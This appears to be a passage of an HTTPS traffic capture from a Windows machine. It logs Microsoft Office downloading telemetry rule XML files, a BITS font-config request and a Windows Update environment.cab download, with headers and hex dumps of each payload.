2024-11-17 09:07:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:27 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:27 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: e1a3adfd-c01e-00a1-203d-387e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090727Z-164f84587bf6n6jwhC1DFW90fn000000037000000000aw76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:27 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:28 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:28 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:28 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090728Z-16547b76f7fkf5v9hC1DFW2y5s00000003v000000000he1z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:28 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:28 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:28 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090728Z-16547b76f7fsq6p7hC1DFWfx6800000002ng000000000egr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:28 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49813	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:28 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 09:07:28 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=27494 Date: Sun, 17 Nov 2024 09:07:28 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-17 09:07:28 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:28 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:28 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090728Z-16547b76f7fkz9l7hC1DFW35uc000000014g000000007gh9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:28 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:28 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:28 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bcf92b81-701e-000d-51b1-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090728Z-164f84587bftbpb6hC1DFWm4kg00000002yg000000000x3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:28 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:28 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:28 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:28 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090728Z-1866b5c5fbbx98hfhC1DFWuqmg00000002ug000000006t85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:28 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49817	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:28 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3WFSs6766RwY4Zt&MD=dHw8vdkN HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-17 09:07:29 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a53a1e28-88fe-445f-9dec-3292bd2b72fa MS-RequestId: e5b895a4-e1d7-4cab-9b96-742f9a2b2d03 MS-CV: ofcD5MLzGkSr79RW.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 17 Nov 2024 09:07:28 GMT Connection: close Content-Length: 24490
2024-11-17 09:07:29 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-17 09:07:29 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:28 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:29 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:28 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090728Z-16547b76f7f9s8x7hC1DFWywrg00000003vg000000007r2u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:29 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:28 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:29 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:28 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090728Z-16547b76f7fd77jrhC1DFWfwq000000000ug000000002uca x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:29 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:29 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090729Z-16547b76f7f5b5tthC1DFWuk8400000002mg00000000f13d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:29 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
